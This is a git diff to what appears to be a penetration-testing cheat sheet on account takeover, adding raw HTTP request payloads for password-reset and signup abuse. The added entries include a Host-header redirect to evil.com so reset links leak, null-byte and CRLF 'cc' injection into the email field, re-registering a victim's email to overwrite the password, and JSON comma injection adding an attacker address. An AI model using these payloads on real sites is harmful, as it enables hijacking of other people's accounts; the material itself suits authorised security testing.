diff --git a/AccountTakeover.md b/AccountTakeover.md index 2508254..b9f7527 100644 --- a/AccountTakeover.md +++ b/AccountTakeover.md @@ -21,6 +21,13 @@ Host: evil.com [...] email=victim@mail.com ``` +``` +POST /reset +Host: target.com +X-Forwarded-Host: evil.com +[...] +email=victim@mail.com +``` And the victim will receive the reset link with evil.com 4. Using separator in value of the parameter @@ -39,6 +46,11 @@ POST /reset [...] email=victim@mail.com|hacker@mail.com ``` +``` +POST /reset +[...] +email=victim@mail.com%00hacker@mail.com +``` 5. No domain in value of the paramter ``` @@ -47,9 +59,36 @@ POST /reset email=victim ``` -6. No TLD in value of the paramter +6. No TLD in value of the parameter ``` POST /reset [...] email=victim@mail ``` + +7. Using carbon copy +``` +POST /reset +[...] +email=victim@mail.com%0a%0dcc:hacker@mail.com +``` + +8. Try re-sign up using same email +``` +POST /newaccount +[...] +email=victim@mail.com&password=1234 +``` +After sign up using victim email, try signup again but using different password +``` +POST /newaccount +[...] +email=victim@mail.com&password=hacked +``` + +9. If there is JSON data in body requests, add comma +``` +POST /newaccount +[...] +{“email”:“victim@mail.com”,”hacker@mail.com”,“token”:”xxxxxxxxxx”} +```